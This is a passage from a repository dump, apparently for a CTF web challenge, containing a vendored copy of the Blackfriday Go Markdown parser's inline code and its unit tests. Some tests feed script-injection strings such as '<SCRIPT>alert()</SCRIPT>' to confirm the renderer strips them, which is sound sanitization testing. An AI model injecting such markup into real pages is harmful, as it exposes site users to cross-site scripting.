http://www.pokemon.com/Pikachu_(Electric)) bar\n\t\t *              => http://www.pokemon.com/Pikachu_(Electric))\n\t\t *\n\t\t *      (foo http://www.pokemon.com/Pikachu_(Electric)) bar\n\t\t *              => foo http://www.pokemon.com/Pikachu_(Electric)\n\t\t */\n\n\t\tfor bufEnd >= 0 && origData[bufEnd] != '\\n' && openDelim != 0 {\n\t\t\tif origData[bufEnd] == data[linkEnd-1] {\n\t\t\t\topenDelim++\n\t\t\t}\n\n\t\t\tif origData[bufEnd] == copen {\n\t\t\t\topenDelim--\n\t\t\t}\n\n\t\t\tbufEnd--\n\t\t}\n\n\t\tif openDelim == 0 {\n\t\t\tlinkEnd--\n\t\t}\n\t}\n\n\t// we were triggered on the ':', so we need to rewind the output a bit\n\tif out.Len() >= rewind {\n\t\tout.Truncate(len(out.Bytes()) - rewind)\n\t}\n\n\tvar uLink bytes.Buffer\n\tunescapeText(&uLink, data[:linkEnd])\n\n\tif uLink.Len() > 0 {\n\t\tp.r.AutoLink(out, uLink.Bytes(), LINK_TYPE_NORMAL)\n\t}\n\n\treturn linkEnd - rewind\n}\n\nvar validUris = [][]byte{[]byte(\"http://\"), []byte(\"https://\"), []byte(\"ftp://\"), []byte(\"mailto://\")}\n\nfunc isSafeLink(link []byte) bool {\n\tfor _, prefix := range validUris {\n\t\t// TODO: handle unicode here\n\t\t// case-insensitive prefix test\n\t\tif len(link) > len(prefix) && bytes.Equal(bytes.ToLower(link[:len(prefix)]), prefix) && isalnum(link[len(prefix)]) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// return the length of the given tag, or 0 is it's not valid\nfunc tagLength(data []byte, autolink *int) int {\n\tvar i, j int\n\n\t// a valid tag can't be shorter than 3 chars\n\tif len(data) < 3 {\n\t\treturn 0\n\t}\n\n\t// begins with a '<' optionally followed by '/', followed by letter or number\n\tif data[0] != '<' {\n\t\treturn 0\n\t}\n\tif data[1] == '/' {\n\t\ti = 2\n\t} else {\n\t\ti = 1\n\t}\n\n\tif !isalnum(data[i]) {\n\t\treturn 0\n\t}\n\n\t// scheme test\n\t*autolink = LINK_TYPE_NOT_AUTOLINK\n\n\t// try to find the beginning of an URI\n\tfor i < len(data) && (isalnum(data[i]) || data[i] == '.' || data[i] == '+' || data[i] == '-') {\n\t\ti++\n\t}\n\n\tif i > 1 && i < len(data) && data[i] == '@' {\n\t\tif j = isMailtoAutoLink(data[i:]); j != 0 {\n\t\t\t*autolink = LINK_TYPE_EMAIL\n\t\t\treturn i + j\n\t\t}\n\t}\n\n\tif i > 2 && i < len(data) && data[i] == ':' {\n\t\t*autolink = LINK_TYPE_NORMAL\n\t\ti++\n\t}\n\n\t// complete autolink test: no whitespace or ' or \"\n\tswitch {\n\tcase i >= len(data):\n\t\t*autolink = LINK_TYPE_NOT_AUTOLINK\n\tcase *autolink != 0:\n\t\tj = i\n\n\t\tfor i < len(data) {\n\t\t\tif data[i] == '\\\\' {\n\t\t\t\ti += 2\n\t\t\t} else if data[i] == '>' || data[i] == '\\'' || data[i] == '\"' || isspace(data[i]) {\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\ti++\n\t\t\t}\n\n\t\t}\n\n\t\tif i >= len(data) {\n\t\t\treturn 0\n\t\t}\n\t\tif i > j && data[i] == '>' {\n\t\t\treturn i + 1\n\t\t}\n\n\t\t// one of the forbidden chars has been found\n\t\t*autolink = LINK_TYPE_NOT_AUTOLINK\n\t}\n\n\t// look for something looking like a tag end\n\tfor i < len(data) && data[i] != '>' {\n\t\ti++\n\t}\n\tif i >= len(data) {\n\t\treturn 0\n\t}\n\treturn i + 1\n}\n\n// look for the address part of a mail autolink and '>'\n// this is less strict than the original markdown e-mail address matching\nfunc isMailtoAutoLink(data []byte) int {\n\tnb := 0\n\n\t// address is assumed to be: [-@._a-zA-Z0-9]+ with exactly one '@'\n\tfor i := 0; i < len(data); i++ {\n\t\tif isalnum(data[i]) {\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch data[i] {\n\t\tcase '@':\n\t\t\tnb++\n\n\t\tcase '-', '.', '_':\n\t\t\tbreak\n\n\t\tcase '>':\n\t\t\tif nb == 1 {\n\t\t\t\treturn i + 1\n\t\t\t} else {\n\t\t\t\treturn 0\n\t\t\t}\n\t\tdefault:\n\t\t\treturn 0\n\t\t}\n\t}\n\n\treturn 0\n}\n\n// look for the next emph char, skipping other constructs\nfunc helperFindEmphChar(data []byte, c byte) int {\n\ti := 1\n\n\tfor i < len(data) {\n\t\tfor i < len(data) && data[i] != c && data[i] != '`' && data[i] != '[' {\n\t\t\ti++\n\t\t}\n\t\tif i >= len(data) {\n\t\t\treturn 0\n\t\t}\n\t\tif data[i] == c {\n\t\t\treturn i\n\t\t}\n\n\t\t// do not count escaped chars\n\t\tif i != 0 && data[i-1] == '\\\\' {\n\t\t\ti++\n\t\t\tcontinue\n\t\t}\n\n\t\tif data[i] == '`' {\n\t\t\t// skip a code span\n\t\t\ttmpI := 0\n\t\t\ti++\n\t\t\tfor i < len(data) && data[i] != '`' {\n\t\t\t\tif tmpI == 0 && data[i] == c {\n\t\t\t\t\ttmpI = i\n\t\t\t\t}\n\t\t\t\ti++\n\t\t\t}\n\t\t\tif i >= len(data) {\n\t\t\t\treturn tmpI\n\t\t\t}\n\t\t\ti++\n\t\t} else if data[i] == '[' {\n\t\t\t// skip a link\n\t\t\ttmpI := 0\n\t\t\ti++\n\t\t\tfor i < len(data) && data[i] != ']' {\n\t\t\t\tif tmpI == 0 && data[i] == c {\n\t\t\t\t\ttmpI = i\n\t\t\t\t}\n\t\t\t\ti++\n\t\t\t}\n\t\t\ti++\n\t\t\tfor i < len(data) && (data[i] == ' ' || data[i] == '\\n') {\n\t\t\t\ti++\n\t\t\t}\n\t\t\tif i >= len(data) {\n\t\t\t\treturn tmpI\n\t\t\t}\n\t\t\tif data[i] != '[' && data[i] != '(' { // not a link\n\t\t\t\tif tmpI > 0 {\n\t\t\t\t\treturn tmpI\n\t\t\t\t} else {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tcc := data[i]\n\t\t\ti++\n\t\t\tfor i < len(data) && data[i] != cc {\n\t\t\t\tif tmpI == 0 && data[i] == c {\n\t\t\t\t\ttmpI = i\n\t\t\t\t}\n\t\t\t\ti++\n\t\t\t}\n\t\t\tif i >= len(data) {\n\t\t\t\treturn tmpI\n\t\t\t}\n\t\t\ti++\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc helperEmphasis(p *parser, out *bytes.Buffer, data []byte, c byte) int {\n\ti := 0\n\n\t// skip one symbol if coming from emph3\n\tif len(data) > 1 && data[0] == c && data[1] == c {\n\t\ti = 1\n\t}\n\n\tfor i < len(data) {\n\t\tlength := helperFindEmphChar(data[i:], c)\n\t\tif length == 0 {\n\t\t\treturn 0\n\t\t}\n\t\ti += length\n\t\tif i >= len(data) {\n\t\t\treturn 0\n\t\t}\n\n\t\tif i+1 < len(data) && data[i+1] == c {\n\t\t\ti++\n\t\t\tcontinue\n\t\t}\n\n\t\tif data[i] == c && !isspace(data[i-1]) {\n\n\t\t\tif p.flags&EXTENSION_NO_INTRA_EMPHASIS != 0 {\n\t\t\t\tif !(i+1 == len(data) || isspace(data[i+1]) || ispunct(data[i+1])) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar work bytes.Buffer\n\t\t\tp.inline(&work, data[:i])\n\t\t\tp.r.Emphasis(out, work.Bytes())\n\t\t\treturn i + 1\n\t\t}\n\t}\n\n\treturn 0\n}\n\nfunc helperDoubleEmphasis(p *parser, out *bytes.Buffer, data []byte, c byte) int {\n\ti := 0\n\n\tfor i < len(data) {\n\t\tlength := helperFindEmphChar(data[i:], c)\n\t\tif length == 0 {\n\t\t\treturn 0\n\t\t}\n\t\ti += length\n\n\t\tif i+1 < len(data) && data[i] == c && data[i+1] == c && i > 0 && !isspace(data[i-1]) {\n\t\t\tvar work bytes.Buffer\n\t\t\tp.inline(&work, data[:i])\n\n\t\t\tif work.Len() > 0 {\n\t\t\t\t// pick the right renderer\n\t\t\t\tif c == '~' {\n\t\t\t\t\tp.r.StrikeThrough(out, work.Bytes())\n\t\t\t\t} else {\n\t\t\t\t\tp.r.DoubleEmphasis(out, work.Bytes())\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn i + 2\n\t\t}\n\t\ti++\n\t}\n\treturn 0\n}\n\nfunc helperTripleEmphasis(p *parser, out *bytes.Buffer, data []byte, offset int, c byte) int {\n\ti := 0\n\torigData := data\n\tdata = data[offset:]\n\n\tfor i < len(data) {\n\t\tlength := helperFindEmphChar(data[i:], c)\n\t\tif length == 0 {\n\t\t\treturn 0\n\t\t}\n\t\ti += length\n\n\t\t// skip whitespace preceded symbols\n\t\tif data[i] != c || isspace(data[i-1]) {\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch {\n\t\tcase i+2 < len(data) && data[i+1] == c && data[i+2] == c:\n\t\t\t// triple symbol found\n\t\t\tvar work bytes.Buffer\n\n\t\t\tp.inline(&work, data[:i])\n\t\t\tif work.Len() > 0 {\n\t\t\t\tp.r.TripleEmphasis(out, work.Bytes())\n\t\t\t}\n\t\t\treturn i + 3\n\t\tcase (i+1 < len(data) && data[i+1] == c):\n\t\t\t// double symbol found, hand over to emph1\n\t\t\tlength = helperEmphasis(p, out, origData[offset-2:], c)\n\t\t\tif length == 0 {\n\t\t\t\treturn 0\n\t\t\t} else {\n\t\t\t\treturn length - 2\n\t\t\t}\n\t\tdefault:\n\t\t\t// single symbol found, hand over to emph2\n\t\t\tlength = helperDoubleEmphasis(p, out, origData[offset-1:], c)\n\t\t\tif length == 0 {\n\t\t\t\treturn 0\n\t\t\t} else {\n\t\t\t\treturn length - 1\n\t\t\t}\n\t\t}\n\t}\n\treturn 0\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/inline_test.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n// Unit tests for inline parsing\n//\n\npackage blackfriday\n\nimport (\n\t\"testing\"\n)\n\nfunc runMarkdownInline(input string, extensions, htmlFlags int) string {\n\textensions |= EXTENSION_AUTOLINK\n\textensions |= EXTENSION_STRIKETHROUGH\n\n\thtmlFlags |= HTML_USE_XHTML\n\n\trenderer := HtmlRenderer(htmlFlags, \"\", \"\")\n\n\treturn string(Markdown([]byte(input), renderer, extensions))\n}\n\nfunc doTestsInline(t *testing.T, tests []string) {\n\tdoTestsInlineParam(t, tests, 0, 0)\n}\n\nfunc doTestsInlineParam(t *testing.T, tests []string, extensions, htmlFlags int) {\n\t// catch and report panics\n\tvar candidate string\n\t/*\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\t\t\t\tt.Errorf(\"\\npanic while processing [%#v] (%v)\\n\", candidate, err)\n\t\t\t}\n\t\t}()\n\t*/\n\n\tfor i := 0; i+1 < len(tests); i += 2 {\n\t\tinput := tests[i]\n\t\tcandidate = input\n\t\texpected := tests[i+1]\n\t\tactual := runMarkdownInline(candidate, extensions, htmlFlags)\n\t\tif actual != expected {\n\t\t\tt.Errorf(\"\\nInput   [%#v]\\nExpected[%#v]\\nActual  [%#v]\",\n\t\t\t\tcandidate, expected, actual)\n\t\t}\n\n\t\t// now test every substring to stress test bounds checking\n\t\tif !testing.Short() {\n\t\t\tfor start := 0; start < len(input); start++ {\n\t\t\t\tfor end := start + 1; end <= len(input); end++ {\n\t\t\t\t\tcandidate = input[start:end]\n\t\t\t\t\t_ = runMarkdownInline(candidate, extensions, htmlFlags)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestRawHtmlTag(t *testing.T) {\n\ttests := []string{\n\t\t\"zz <style>p {}</style>\\n\",\n\t\t\"<p>zz p {}</p>\\n\",\n\n\t\t\"zz <STYLE>p {}</STYLE>\\n\",\n\t\t\"<p>zz p {}</p>\\n\",\n\n\t\t\"<SCRIPT>alert()</SCRIPT>\\n\",\n\t\t\"<p>alert()</p>\\n\",\n\n\t\t\"zz <SCRIPT>alert()</SCRIPT>\\n\",\n\t\t\"<p>zz alert()</p>\\n\",\n\n\t\t\"zz <script>alert()</script>\\n\",\n\t\t\"<p>zz alert()</p>\\n\",\n\n\t\t\" <script>alert()</script>\\n\",\n\t\t\"<p>alert()</p>\\n\",\n\n\t\t\"<script>alert()</script>\\n\",\n\t\t\"<p>alert()</p>\\n\",\n\n\t\t\"<script src='foo'></script>\\n\",\n\t\t\"<p></p>\\n\",\n\n\t\t\"zz <script src='foo'></script>\\n\",\n\t\t\"<p>zz </p>\\n\",\n\n\t\t\"zz <script src=foo></script>\\n\",\n\t\t\"<p>zz </p>\\n\",\n\t}\n\tdoTestsInlineParam(t, tests, 0, HTML_SKIP_STYLE|HTML_SKIP_SCRIPT)\n}\n\nfunc TestEmphasis(t *testing.T) {\n\tvar tests = []string{\n\t\t\"nothing inline\\n\",\n\t\t\"<p>nothing inline</p>\\n\",\n\n\t\t\"simple *inline* test\\n\",\n\t\t\"<p>simple <em>inline</em> test</p>\\n\",\n\n\t\t\"*at the* beginning\\n\",\n\t\t\"<p><em>at the</em> beginning</p>\\n\",\n\n\t\t\"at the *end*\\n\",\n\t\t\"<p>at the <em>end</em></p>\\n\",\n\n\t\t\"*try two* in *one line*\\n\",\n\t\t\"<p><em>try two</em> in <em>one line</em></p>\\n\",\n\n\t\t\"over *two\\nlines* test\\n\",\n\t\t\"<p>over <em>two\\nlines</em> test</p>\\n\",\n\n\t\t\"odd *number of* markers* here\\n\",\n\t\t\"<p>odd <em>number of</em> markers* here</p>\\n\",\n\n\t\t\"odd *number\\nof* markers* here\\n\",\n\t\t\"<p>odd <em>number\\nof</em> markers* here</p>\\n\",\n\n\t\t\"simple _inline_ test\\n\",\n\t\t\"<p>simple <em>inline</em> test</p>\\n\",\n\n\t\t\"_at the_ beginning\\n\",\n\t\t\"<p><em>at the</em> beginning</p>\\n\",\n\n\t\t\"at the _end_\\n\",\n\t\t\"<p>at the <em>end</em></p>\\n\",\n\n\t\t\"_try two_ in _one line_\\n\",\n\t\t\"<p><em>try two</em> in <em>one line</em></p>\\n\",\n\n\t\t\"over _two\\nlines_ test\\n\",\n\t\t\"<p>over <em>two\\nlines</em> test</p>\\n\",\n\n\t\t\"odd _number of_ markers_ here\\n\",\n\t\t\"<p>odd <em>number of</em> markers_ here</p>\\n\",\n\n\t\t\"odd _number\\nof_ markers_ here\\n\",\n\t\t\"<p>odd <em>number\\nof</em> markers_ here</p>\\n\",\n\n\t\t\"mix of *markers_\\n\",\n\t\t\"<p>mix of *markers_</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestStrong(t *testing.T) {\n\tvar tests = []string{\n\t\t\"nothing inline\\n\",\n\t\t\"<p>nothing inline</p>\\n\",\n\n\t\t\"simple **inline** test\\n\",\n\t\t\"<p>simple <strong>inline</strong> test</p>\\n\",\n\n\t\t\"**at the** beginning\\n\",\n\t\t\"<p><strong>at the</strong> beginning</p>\\n\",\n\n\t\t\"at the **end**\\n\",\n\t\t\"<p>at the <strong>end</strong></p>\\n\",\n\n\t\t\"**try two** in **one line**\\n\",\n\t\t\"<p><strong>try two</strong> in <strong>one line</strong></p>\\n\",\n\n\t\t\"over **two\\nlines** test\\n\",\n\t\t\"<p>over <strong>two\\nlines</strong> test</p>\\n\",\n\n\t\t\"odd **number of** markers** here\\n\",\n\t\t\"<p>odd <strong>number of</strong> markers** here</p>\\n\",\n\n\t\t\"odd **number\\nof** markers** here\\n\",\n\t\t\"<p>odd <strong>number\\nof</strong> markers** here</p>\\n\",\n\n\t\t\"simple __inline__ test\\n\",\n\t\t\"<p>simple <strong>inline</strong> test</p>\\n\",\n\n\t\t\"__at the__ beginning\\n\",\n\t\t\"<p><strong>at the</strong> beginning</p>\\n\",\n\n\t\t\"at the __end__\\n\",\n\t\t\"<p>at the <strong>end</strong></p>\\n\",\n\n\t\t\"__try two__ in __one line__\\n\",\n\t\t\"<p><strong>try two</strong> in <strong>one line</strong></p>\\n\",\n\n\t\t\"over __two\\nlines__ test\\n\",\n\t\t\"<p>over <strong>two\\nlines</strong> test</p>\\n\",\n\n\t\t\"odd __number of__ markers__ here\\n\",\n\t\t\"<p>odd <strong>number of</strong> markers__ here</p>\\n\",\n\n\t\t\"odd __number\\nof__ markers__ here\\n\",\n\t\t\"<p>odd <strong>number\\nof</strong> markers__ here</p>\\n\",\n\n\t\t\"mix of **markers__\\n\",\n\t\t\"<p>mix of **markers__</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestEmphasisMix(t *testing.T) {\n\tvar tests = []string{\n\t\t\"***triple emphasis***\\n\",\n\t\t\"<p><strong><em>triple emphasis</em></strong></p>\\n\",\n\n\t\t\"***triple\\nemphasis***\\n\",\n\t\t\"<p><strong><em>triple\\nemphasis</em></strong></p>\\n\",\n\n\t\t\"___triple emphasis___\\n\",\n\t\t\"<p><strong><em>triple emphasis</em></strong></p>\\n\",\n\n\t\t\"***triple emphasis___\\n\",\n\t\t\"<p>***triple emphasis___</p>\\n\",\n\n\t\t\"*__triple emphasis__*\\n\",\n\t\t\"<p><em><strong>triple emphasis</strong></em></p>\\n\",\n\n\t\t\"__*triple emphasis*__\\n\",\n\t\t\"<p><strong><em>triple emphasis</em></strong></p>\\n\",\n\n\t\t\"**improper *nesting** is* bad\\n\",\n\t\t\"<p><strong>improper *nesting</strong> is* bad</p>\\n\",\n\n\t\t\"*improper **nesting* is** bad\\n\",\n\t\t\"<p><em>improper **nesting</em> is** bad</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestStrikeThrough(t *testing.T) {\n\tvar tests = []string{\n\t\t\"nothing inline\\n\",\n\t\t\"<p>nothing inline</p>\\n\",\n\n\t\t\"simple ~~inline~~ test\\n\",\n\t\t\"<p>simple <del>inline</del> test</p>\\n\",\n\n\t\t\"~~at the~~ beginning\\n\",\n\t\t\"<p><del>at the</del> beginning</p>\\n\",\n\n\t\t\"at the ~~end~~\\n\",\n\t\t\"<p>at the <del>end</del></p>\\n\",\n\n\t\t\"~~try two~~ in ~~one line~~\\n\",\n\t\t\"<p><del>try two</del> in <del>one line</del></p>\\n\",\n\n\t\t\"over ~~two\\nlines~~ test\\n\",\n\t\t\"<p>over <del>two\\nlines</del> test</p>\\n\",\n\n\t\t\"odd ~~number of~~ markers~~ here\\n\",\n\t\t\"<p>odd <del>number of</del> markers~~ here</p>\\n\",\n\n\t\t\"odd ~~number\\nof~~ markers~~ here\\n\",\n\t\t\"<p>odd <del>number\\nof</del> markers~~ here</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestCodeSpan(t *testing.T) {\n\tvar tests = []string{\n\t\t\"`source code`\\n\",\n\t\t\"<p><code>source code</code></p>\\n\",\n\n\t\t\"` source code with spaces `\\n\",\n\t\t\"<p><code>source code with spaces</code></p>\\n\",\n\n\t\t\"` source code with spaces `not here\\n\",\n\t\t\"<p><code>source code with spaces</code>not here</p>\\n\",\n\n\t\t\"a `single marker\\n\",\n\t\t\"<p>a `single marker</p>\\n\",\n\n\t\t\"a single multi-tick marker with ``` no text\\n\",\n\t\t\"<p>a single multi-tick marker with ``` no text</p>\\n\",\n\n\t\t\"markers with ` ` a space\\n\",\n\t\t\"<p>markers with  a space</p>\\n\",\n\n\t\t\"`source code` and a `stray\\n\",\n\t\t\"<p><code>source code</code> and a `stray</p>\\n\",\n\n\t\t\"`source *with* _awkward characters_ in it`\\n\",\n\t\t\"<p><code>source *with* _awkward characters_ in it</code></p>\\n\",\n\n\t\t\"`split over\\ntwo lines`\\n\",\n\t\t\"<p><code>split over\\ntwo lines</code></p>\\n\",\n\n\t\t\"```multiple ticks``` for the marker\\n\",\n\t\t\"<p><code>multiple ticks</code> for the marker</p>\\n\",\n\n\t\t\"```multiple ticks `with` ticks inside```\\n\",\n\t\t\"<p><code>multiple ticks `with` ticks inside</code></p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestLineBreak(t *testing.T) {\n\tvar tests = []string{\n\t\t\"this line  \\nhas a break\\n\",\n\t\t\"<p>this line<br />\\nhas a break</p>\\n\",\n\n\t\t\"this line \\ndoes not\\n\",\n\t\t\"<p>this line\\ndoes not</p>\\n\",\n\n\t\t\"this has an   \\nextra space\\n\",\n\t\t\"<p>this has an<br />\\nextra space</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestInlineLink(t *testing.T) {\n\tvar tests = []string{\n\t\t\"[foo](/bar/)\\n\",\n\t\t\"<p><a href=\\\"/bar/\\\">foo</a></p>\\n\",\n\n\t\t\"[foo with a title](/bar/ \\\"title\\\")\\n\",\n\t\t\"<p><a href=\\\"/bar/\\\" title=\\\"title\\\">foo with a title</a></p>\\n\",\n\n\t\t\"[foo with a title](/bar/\\t\\\"title\\\")\\n\",\n\t\t\"<p><a href=\\\"/bar/\\\" title=\\\"title\\\">foo with a title</a></p>\\n\",\n\n\t\t\"[foo with a title](/bar/ \\\"title\\\"  )\\n\",\n\t\t\"<p><a href=\\\"/bar/\\\" title=\\\"title\\\">foo with a title</a></p>\\n\",\n\n\t\t\"[foo with a title](/bar/ title with no quotes)\\n\",\n\t\t\"<p><a href=\\\"/bar/ title with no quotes\\\">foo with a title</a></p>\\n\",\n\n\t\t\"[foo]()\\n\",\n\t\t\"<p>[foo]()</p>\\n\",\n\n\t\t\"![foo](/bar/)\\n\",\n\t\t\"<p><img src=\\\"/bar/\\\" alt=\\\"foo\\\" />\\n</p>\\n\",\n\n\t\t\"![foo with a title](/bar/ \\\"title\\\")\\n\",\n\t\t\"<p><img src=\\\"/bar/\\\" alt=\\\"foo with a title\\\" title=\\\"title\\\" />\\n</p>\\n\",\n\n\t\t\"![foo with a title](/bar/\\t\\\"title\\\")\\n\",\n\t\t\"<p><img src=\\\"/bar/\\\" alt=\\\"foo with a title\\\" title=\\\"title\\\" />\\n</p>\\n\",\n\n\t\t\"![foo with a title](/bar/ \\\"title\\\"  )\\n\",\n\t\t\"<p><img src=\\\"/bar/\\\" alt=\\\"foo with a title\\\" title=\\\"title\\\" />\\n</p>\\n\",\n\n\t\t\"![foo with a title](/bar/ title with no quotes)\\n\",\n\t\t\"<p><img src=\\\"/bar/ title with no quotes\\\" alt=\\\"foo with a title\\\" />\\n</p>\\n\",\n\n\t\t\"![foo]()\\n\",\n\t\t\"<p>![foo]()</p>\\n\",\n\n\t\t\"[a link]\\t(/with_a_tab/)\\n\",\n\t\t\"<p><a href=\\\"/with_a_tab/\\\">a link</a></p>\\n\",\n\n\t\t\"[a link]  (/with_spaces/)\\n\",\n\t\t\"<p><a href=\\\"/with_spaces/\\\">a link</a></p>\\n\",\n\n\t\t\"[text (with) [[nested] (brackets)]](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">text (with) [[nested] (brackets)]</a></p>\\n\",\n\n\t\t\"[text (with) [broken nested] (brackets)]](/url/)\\n\",\n\t\t\"<p>[text (with) <a href=\\\"brackets\\\">broken nested</a>]](/url/)</p>\\n\",\n\n\t\t\"[text\\nwith a newline](/link/)\\n\",\n\t\t\"<p><a href=\\\"/link/\\\">text\\nwith a newline</a></p>\\n\",\n\n\t\t\"[text in brackets] [followed](/by a link/)\\n\",\n\t\t\"<p>[text in brackets] <a href=\\\"/by a link/\\\">followed</a></p>\\n\",\n\n\t\t\"[link with\\\\] a closing bracket](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link with] a closing bracket</a></p>\\n\",\n\n\t\t\"[link with\\\\[ an opening bracket](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link with[ an opening bracket</a></p>\\n\",\n\n\t\t\"[link with\\\\) a closing paren](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link with) a closing paren</a></p>\\n\",\n\n\t\t\"[link with\\\\( an opening paren](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link with( an opening paren</a></p>\\n\",\n\n\t\t\"[link](  with whitespace)\\n\",\n\t\t\"<p><a href=\\\"with whitespace\\\">link</a></p>\\n\",\n\n\t\t\"[link](  with whitespace   )\\n\",\n\t\t\"<p><a href=\\\"with whitespace\\\">link</a></p>\\n\",\n\n\t\t\"[![image](someimage)](with image)\\n\",\n\t\t\"<p><a href=\\\"with image\\\"><img src=\\\"someimage\\\" alt=\\\"image\\\" />\\n</a></p>\\n\",\n\n\t\t\"[link](url \\\"one quote)\\n\",\n\t\t\"<p><a href=\\\"url &quot;one quote\\\">link</a></p>\\n\",\n\n\t\t\"[link](url 'one quote)\\n\",\n\t\t\"<p><a href=\\\"url 'one quote\\\">link</a></p>\\n\",\n\n\t\t\"[link](<url>)\\n\",\n\t\t\"<p><a href=\\\"url\\\">link</a></p>\\n\",\n\n\t\t\"[link & ampersand](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link &amp; ampersand</a></p>\\n\",\n\n\t\t\"[link &amp; ampersand](/url/)\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link &amp; ampersand</a></p>\\n\",\n\n\t\t\"[link](/url/&query)\\n\",\n\t\t\"<p><a href=\\\"/url/&amp;query\\\">link</a></p>\\n\",\n\n\t\t\"[[t]](/t)\\n\",\n\t\t\"<p><a href=\\\"/t\\\">[t]</a></p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestReferenceLink(t *testing.T) {\n\tvar tests = []string{\n\t\t\"[link][ref]\\n\",\n\t\t\"<p>[link][ref]</p>\\n\",\n\n\t\t\"[link][ref]\\n   [ref]: /url/ \\\"title\\\"\\n\",\n\t\t\"<p><a href=\\\"/url/\\\" title=\\\"title\\\">link</a></p>\\n\",\n\n\t\t\"[link][ref]\\n   [ref]: /url/\\n\",\n\t\t\"<p><a href=\\\"/url/\\\">link</a></p>\\n\",\n\n\t\t\"   [ref]: /url/\\n\",\n\t\t\"\",\n\n\t\t\"   [ref]: /url/\\n[ref2]: /url/\\n [ref3]: /url/\\n\",\n\t\t\"\",\n\n\t\t\"   [ref]: /url/\\n[ref2]: /url/\\n [ref3]: /url/\\n    [4spaces]: /url/\\n\",\n\t\t\"<pre><code>[4spaces]: /url/\\n</code></pre>\\n\",\n\n\t\t\"[hmm](ref2)\\n   [ref]: /url/\\n[ref2]: /url/\\n [ref3]: /url/\\n\",\n\t\t\"<p><a href=\\\"ref2\\\">hmm</a></p>\\n\",\n\n\t\t\"[ref]\\n\",\n\t\t\"<p>[ref]</p>\\n\",\n\n\t\t\"[ref]\\n   [ref]: /url/ \\\"title\\\"\\n\",\n\t\t\"<p><a href=\\\"/url/\\\" title=\\\"title\\\">ref</a></p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestTags(t *testing.T) {\n\tvar tests = []string{\n\t\t\"a <span>tag</span>\\n\",\n\t\t\"<p>a <span>tag</span></p>\\n\",\n\n\t\t\"<span>tag</span>\\n\",\n\t\t\"<p><span>tag</span></p>\\n\",\n\n\t\t\"<span>mismatch</spandex>\\n\",\n\t\t\"<p><span>mismatch</spandex></p>\\n\",\n\n\t\t\"a <singleton /> tag\\n\",\n\t\t\"<p>a <singleton /> tag</p>\\n\",\n\t}\n\tdoTestsInline(t, tests)\n}\n\nfunc TestAutoLink(t *testing.T) {\n\tvar tests = []string{\n\t\t\"http://foo.com/\\n\",\n\t\t\"<p><a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"1 http://foo.com/\\n\",\n\t\t\"<p>1 <a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"1http://foo.com/\\n\",\n\t\t\"<p>1<a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"1.http://foo.com/\\n\",\n\t\t\"<p>1.<a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"1. http://foo.com/\\n\",\n\t\t\"<ol>\\n<li><a href=\\\"http://foo.com/\\\">http://foo.com/</a></li>\\n</ol>\\n\",\n\n\t\t\"-http://foo.com/\\n\",\n\t\t\"<p>-<a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"- http://foo.com/\\n\",\n\t\t\"<ul>\\n<li><a href=\\\"http://foo.com/\\\">http://foo.com/</a></li>\\n</ul>\\n\",\n\n\t\t\"_http://foo.com/\\n\",\n\t\t\"<p>_<a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"令狐http://foo.com/\\n\",\n\t\t\"<p>令狐<a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"令狐 http://foo.com/\\n\",\n\t\t\"<p>令狐 <a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"ahttp://foo.com/\\n\",\n\t\t\"<p>ahttp://foo.com/</p>\\n\",\n\n\t\t\">http://foo.com/\\n\",\n\t\t\"<blockquote>\\n<p><a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n</blockquote>\\n\",\n\n\t\t\"> http://foo.com/\\n\",\n\t\t\"<blockquote>\\n<p><a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n</blockquote>\\n\",\n\n\t\t\"go to <http://foo.com/>\\n\",\n\t\t\"<p>go to <a href=\\\"http://foo.com/\\\">http://foo.com/</a></p>\\n\",\n\n\t\t\"a secure <https://link.org>\\n\",\n\t\t\"<p>a secure <a 